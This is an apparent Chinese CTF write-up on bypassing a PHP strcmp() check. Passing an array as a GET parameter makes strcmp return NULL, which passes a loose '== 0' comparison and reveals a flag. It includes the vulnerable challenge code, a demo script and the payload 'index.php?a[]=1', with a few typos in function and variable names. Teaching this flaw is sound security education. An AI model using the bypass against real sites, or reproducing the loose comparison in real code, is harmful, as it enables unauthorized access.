PHP – strcmp() 比较字符漏洞

题目代码

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
error_reporting(0);
$flag = "flag{xxxxx}";

if (isset($_GET['a'])) {
if (strcmp($_GET['a'], $flag) == 0){
die('Flag: '.$flag);
}
else{
print 'No';
}
}
?>

函数用法

strcpm() 用于二进制安全字符串比较,比较字符串的函数

  • strcmp() 用于判断两边的变量是否相等
  • strcmp($a,$b) 如果 $a < %b 返回 <0
  • strcmp($a,$b) 如果 $a > %b 返回 >0
  • strcmp($a,$b) 如果 $a = %b 返回 =0

函数漏洞

通过用法可以得知传入的期望类型是字符串类型的数据,如果传入非字符串类型的数据时,这个函数将发生错误

漏洞代码

1
2
3
4
5
<?php
$a = array("a" => "Cat");
$flag = "flag{xxxxx}";
var_dump(strcmp($a, $flag));
?>

代码返回

NULL

注: strcpm() 函数漏洞仅适用于5.3之前版本的php

绕过思路

GET 传输 $a 为数组类型,strcpm() 函数接收到数组返回 NULLNULL == 0 返回 bool(true),得到 flag

Payload

index.php?a[]=1